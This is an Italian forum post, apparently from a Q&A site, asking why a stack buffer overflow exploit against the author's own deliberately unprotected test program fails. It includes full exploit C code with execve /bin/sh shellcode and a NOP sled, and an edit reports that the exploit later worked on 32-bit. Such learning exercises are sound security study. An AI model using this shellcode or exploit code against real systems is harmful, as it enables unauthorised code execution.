Sto tentando di sfruttare una vulnerabilità di buffer overflow standard in un programma che utilizza strcpy()
per riempire un buffer di 200 char
, senza controllare i limiti e compilato con -z execstack
e -fno-stack-protector
. Ho anche disabilitare il kernel randomize_va_space.
La prima cosa che faccio è aprire gdb, cerco la lunghezza corretta per sovrascrivere l'addr di ritorno, è 222 quindi ho scritto un programma exploit.c come mostrato:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
#define BUFF_SIZE 222
unsigned long get_sp(void){
__asm__("mov %rsp, %rax");
}
int main(int argc, char *argv[]){
if (argc != 2){
printf("give one argument\n");
exit(0);
}
long *addr_ptr, ret, esp;
int offset, i;
char *ptr, buffer[BUFF_SIZE];
offset = atoi(argv[1]);
esp = get_sp();
ret = esp - offset;
printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
ptr = buffer;
addr_ptr = (long*)(buffer);
//Filling the buffer
for(i=0;i<BUFF_SIZE;i+=8){
*(addr_ptr++) = ret;
};
for(i=0;i<BUFF_SIZE/2;i++){
*(ptr+i) = '\x90';
};
for(i=0;i<strlen(shellcode);i++){
*(ptr+i+16) = shellcode[i];
};
buffer[BUFF_SIZE-1] = '\x0';
execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};
Questo invia l'exploit al mio programma "buffer_vuln"; Riempio il buffer con ret (che è modificato da un offset), e una slitta NOP che porta allo shellcode. Non ho ottenuto alcun risultato provandolo anche su un intervallo di offset lungo (-250, 3000). Il programma mirato stampa l'indirizzo e il contenuto del suo array, tutto sembra giusto ma non riesco a vedere gli indirizzi di ritorno stampati dopo i NOP, mi chiedo dove questo non riesca ad aprire una shell.
-Edit -
Sono passato a 32 bit, quindi l'indirizzo dello stack non contiene zero. Ho anche compilato lo shellcode e mi sono assicurato che funzionasse da solo. Exploit funziona! Andando a provare per amd64 ora, grazie!